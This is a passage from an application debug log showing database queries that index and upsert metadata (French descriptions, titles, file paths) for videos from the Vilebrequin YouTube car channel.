ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#aston #cygnet #grossedouille", "Essai Aston Martin Cygnet : La MEILLEURE des Aston", "_VF035IyZwg", 1633, false, "https://www.youtube.com/watch?v=_VF035IyZwg", "/downloads/Vilebrequin/2023-11-23 Essai Aston Martin Cygnet : La MEILLEURE des Aston/Essai Aston Martin Cygnet : La MEILLEURE des Aston [_VF035IyZwg].mkv", false, 1, ~U[2023-11-23 17:15:02Z]] 07:42:11.716 [debug] QUERY OK source="sources" db=1.1ms queue=0.1ms idle=50.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:11.721 [debug] QUERY OK source="media_items" db=4.9ms queue=0.1ms idle=17.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-16 17:15:01Z], 1] 07:42:11.726 [debug] QUERY OK source="media_items" db=2.8ms idle=21.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à la Filière MSA pour le soutien. Retrouvez toutes les informations des Métiers des Services Auto ici : \n👉 https://www.metiers-services-auto.com\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Arthur et Joseph de la fabrique auto pour le nouveau décor. \nhttps://www.instagram.com/lafabriqueauto/\n\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nMontage Sponso : Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#AstonMartin #Lagonda #faillite", "VULTECH Aston Martin : 18 faillites et toujours debout", "3c7f5e33-64ec-4292-aea3-57ae07044aaa", "AVcqMUjoRFQ", 2666, false, "https://www.youtube.com/watch?v=AVcqMUjoRFQ", 4, "/downloads/Vilebrequin/2023-11-16 VULTECH Aston Martin : 18 faillites et toujours debout/VULTECH Aston Martin : 18 faillites et toujours debout [AVcqMUjoRFQ].mkv", false, false, false, 1, [], 98, ~U[2023-11-16 17:15:01Z], ~U[2026-04-19 05:42:11Z], ~U[2026-04-19 05:42:11Z], "Merci à la Filière MSA pour le soutien. Retrouvez toutes les informations des Métiers des Services Auto ici : \n👉 https://www.metiers-services-auto.com\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Arthur et Joseph de la fabrique auto pour le nouveau décor. \nhttps://www.instagram.com/lafabriqueauto/\n\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nMontage Sponso : Robin Danos\nInsta : https://www.instagram.com/robin_danos/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#AstonMartin #Lagonda #faillite", "VULTECH Aston Martin : 18 faillites et toujours debout", "AVcqMUjoRFQ", 2666, false, "https://www.youtube.com/watch?v=AVcqMUjoRFQ", "/downloads/Vilebrequin/2023-11-16 VULTECH Aston Martin : 18 faillites et toujours debout/VULTECH Aston Martin : 18 faillites et toujours debout [AVcqMUjoRFQ].mkv", false, 1, ~U[2023-11-16 17:15:01Z]] 07:42:11.727 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=17.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:11.733 [debug] QUERY OK source="media_items" db=5.2ms queue=0.1ms idle=14.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-09 17:15:02Z], 1] 07:42:11.738 [debug] QUERY OK source="media_items" db=3.6ms idle=17.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci du soutien à Carly. On vous donne -15% sur Carly 👉 https://bit.ly/CARLY23_VB (valable sur le boîtier, l'application, et le Smart Mechanic)\n\n--------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci beaucoup à Charles Milesi pour le prêt de cette belle GTR ( déso pour la surprise de la drag race avec le Range ) :\nInsta : https://www.instagram.com/charles_milesi\n\nAinsi qu'à l'équipe de Dijon Auto Racing pour la piste notamment Geoffroy et Nicolas. \nInsta : https://www.instagram.com/dijonautoracing/\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nProduction : Anaelle Lemagorou et Cassandra Borie \nCadreurs : Lucas Martin et Pierre Bouillot \nMontage : Baptiste Moal Insta : @bapt.ml\nTéo Floc’h Insta : @flcstudio29\nMontage Sponso : Robin Danos\nInsta : @robin_danos\nRomain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nEt merci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nGros bisous\n\n#Godzilla #GTR #Japon", "Essai Nissan GTR R34 : Rapide et furieuse", "e356979b-04db-4a90-ad9a-aed5e9dc4c3d", "yUaxmvK1qyY", 2047, false, "https://www.youtube.com/watch?v=yUaxmvK1qyY", 5, "/downloads/Vilebrequin/2023-11-09 Essai Nissan GTR R34 : Rapide et furieuse/Essai Nissan GTR R34 : Rapide et furieuse [yUaxmvK1qyY].mkv", false, false, false, 1, [], 98, ~U[2023-11-09 17:15:02Z], ~U[2026-04-19 05:42:11Z], ~U[2026-04-19 05:42:11Z], "Merci du soutien à Carly. On vous donne -15% sur Carly 👉 https://bit.ly/CARLY23_VB (valable sur le boîtier, l'application, et le Smart Mechanic)\n\n--------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci beaucoup à Charles Milesi pour le prêt de cette belle GTR ( déso pour la surprise de la drag race avec le Range ) :\nInsta : https://www.instagram.com/charles_milesi\n\nAinsi qu'à l'équipe de Dijon Auto Racing pour la piste notamment Geoffroy et Nicolas. \nInsta : https://www.instagram.com/dijonautoracing/\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nProduction : Anaelle Lemagorou et Cassandra Borie \nCadreurs : Lucas Martin et Pierre Bouillot \nMontage : Baptiste Moal Insta : @bapt.ml\nTéo Floc’h Insta : @flcstudio29\nMontage Sponso : Robin Danos\nInsta : @robin_danos\nRomain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nEt merci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nGros bisous\n\n#Godzilla #GTR #Japon", "Essai Nissan GTR R34 : Rapide et furieuse", "yUaxmvK1qyY", 2047, false, "https://www.youtube.com/watch?v=yUaxmvK1qyY", "/downloads/Vilebrequin/2023-11-09 Essai Nissan GTR R34 : Rapide et furieuse/Essai Nissan GTR R34 : Rapide et furieuse [yUaxmvK1qyY].mkv", false, 1, ~U[2023-11-09 17:15:02Z]] 07:42:11.740 [debug] QUERY OK source="sources" db=0.9ms queue=0.1ms idle=17.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:11.743 [debug] QUERY OK source="media_items" db=3.2ms idle=15.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-11-02 17:15:01Z], 1] 07:42:11.747 [debug] QUERY OK source="media_items" db=2.1ms idle=16.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à FOREVER YOUNG pour le prêt de leur parking \nInsta : https://foreveryoungtimer.com\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#moto #taxi #enfinunvraimetier", "On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN", "298c7d24-944b-40cb-bcca-21989d6838d0", "dE7aHyX_0PY", 2449, false, "https://www.youtube.com/watch?v=dE7aHyX_0PY", 6, "/downloads/Vilebrequin/2023-11-02 On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN/On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN [dE7aHyX_0PY].mkv", false, false, false, 1, [], 98, ~U[2023-11-02 17:15:01Z], ~U[2026-04-19 05:42:11Z], ~U[2026-04-19 05:42:11Z], "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à FOREVER YOUNG pour le prêt de leur parking \nInsta : https://foreveryoungtimer.com\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#moto #taxi #enfinunvraimetier", "On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN", "dE7aHyX_0PY", 2449, false, "https://www.youtube.com/watch?v=dE7aHyX_0PY", "/downloads/Vilebrequin/2023-11-02 On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN/On a trouvé notre reconversion : L'ESCOUADE VILEBREQUIN [dE7aHyX_0PY].mkv", false, 1, ~U[2023-11-02 17:15:01Z]] 07:42:11.749 [debug] QUERY OK source="sources" db=1.7ms queue=0.1ms idle=14.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:11.753 [debug] QUERY OK source="media_items" db=3.4ms queue=0.4ms idle=11.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-26 16:15:00Z], 1] 07:42:11.758 [debug] QUERY OK source="media_items" db=4.1ms idle=14.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Un énorme merci à NordVPN :\nEn ce moment 4 mois gratuits en passant par ce lien 👉 https://nordvpn.com/vilebrequin\n( Satisfait ou remboursé pendant 30 jours )\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\nMerci à Moteur & Sens pour le prêt de cette superbe Ford GT, pour voir le showroom ( qui vaut le détour ) :\nInstagram : https://www.instagram.com/moteuretsens/\n\nMerci à l’autodrome de UTAC Linas Monthléry pour le prêt de leur anneau de vitesse, pour assister à leurs événements : \nhttps://www.utac.com/fr/vos-besoins/festivals-de-voitures-motos/\n\n-------------------------------------------------------------------\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\nMontage vidéo : Pierre Bouillot\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#ford #gt #lemans", "Essai Ford GT : la supercar oubliée", "364ff9ad-ef0b-40e1-aec1-4f657d7d4383", "-T_CoEUkFBE", 1667, false, "https://www.youtube.com/watch?v=-T_CoEUkFBE", 7, "/downloads/Vilebrequin/2023-10-26 Essai Ford GT : la supercar oubliée/Essai Ford GT : la supercar oubliée [-T_CoEUkFBE].mkv", false, false, false, 1, [], 98, ~U[2023-10-26 16:15:00Z], ~U[2026-04-19 05:42:11Z], ~U[2026-04-19 05:42:11Z], "Un énorme merci à NordVPN :\nEn ce moment 4 mois gratuits en passant par ce lien 👉 https://nordvpn.com/vilebrequin\n( Satisfait ou remboursé pendant 30 jours )\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\nMerci à Moteur & Sens pour le prêt de cette superbe Ford GT, pour voir le showroom ( qui vaut le détour ) :\nInstagram : https://www.instagram.com/moteuretsens/\n\nMerci à l’autodrome de UTAC Linas Monthléry pour le prêt de leur anneau de vitesse, pour assister à leurs événements : \nhttps://www.utac.com/fr/vos-besoins/festivals-de-voitures-motos/\n\n-------------------------------------------------------------------\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\nMontage vidéo : Pierre Bouillot\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#ford #gt #lemans", "Essai Ford GT : la supercar oubliée", "-T_CoEUkFBE", 1667, false, "https://www.youtube.com/watch?v=-T_CoEUkFBE", "/downloads/Vilebrequin/2023-10-26 Essai Ford GT : la supercar oubliée/Essai Ford GT : la supercar oubliée [-T_CoEUkFBE].mkv", false, 1, ~U[2023-10-26 16:15:00Z]] 07:42:11.760 [debug] QUERY OK source="sources" db=1.0ms queue=0.1ms idle=15.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:11.764 [debug] QUERY OK source="media_items" db=3.3ms idle=14.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-19 16:15:00Z], 1] 07:42:11.767 [debug] QUERY OK source="media_items" db=2.1ms idle=15.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Arthur et Joseph de la fabrique auto pour le nouveau décor. \nhttps://www.instagram.com/lafabriqueauto/\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#fordisme #nouveaudécor #66", "Vultech FORD ( et Carroll Shelby )", "7edb4a1b-bf9c-4651-8dc3-b867055df7b1", "SBgLYUbmG4Y", 2430, false, "https://www.youtube.com/watch?v=SBgLYUbmG4Y", 8, "/downloads/Vilebrequin/2023-10-19 Vultech FORD ( et Carroll Shelby )/Vultech FORD ( et Carroll Shelby ) [SBgLYUbmG4Y].mkv", false, false, false, 1, [], 98, ~U[2023-10-19 16:15:00Z], ~U[2026-04-19 05:42:11Z], ~U[2026-04-19 05:42:11Z], "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n-------------------------------------------------------------------\n\nMerci à Arthur et Joseph de la fabrique auto pour le nouveau décor. \nhttps://www.instagram.com/lafabriqueauto/\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#fordisme #nouveaudécor #66", "Vultech FORD ( et Carroll Shelby )", "SBgLYUbmG4Y", 2430, false, "https://www.youtube.com/watch?v=SBgLYUbmG4Y", "/downloads/Vilebrequin/2023-10-19 Vultech FORD ( et Carroll Shelby )/Vultech FORD ( et Carroll Shelby ) [SBgLYUbmG4Y].mkv", false, 1, ~U[2023-10-19 16:15:00Z]] 07:42:11.768 [debug] QUERY OK source="sources" db=1.1ms idle=14.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:11.773 [debug] QUERY OK source="media_items" db=3.6ms idle=10.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-10-12 16:15:02Z], 1] 07:42:11.777 [debug] QUERY OK source="media_items" db=3.4ms idle=13.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["10% de réduction avec le code “Vilebrequin” sur l’ensemble du catalogue Oscaro pour les 1000 premières commandes ( chacun valable pendant 1 semaine )\nLien vers le site 👉 http://bit.ly/46fWzLf\n\nCommunication Commerciale \n\n-------------------------------------------------------------------\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Raphaël CHICHE \nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Thierry Marat et François Chatal\n\nMontage : Thibaut Iacolare\n\nMontage Sponso : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nEt la spéciale dédicace aux concepteurs du PIANO fou : Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nMerci à l'aérodrome de Brienne Le Château, et en particulier Nathalie, pour la location de la piste\n\n-------------------------------------------------------------------\n\n👍 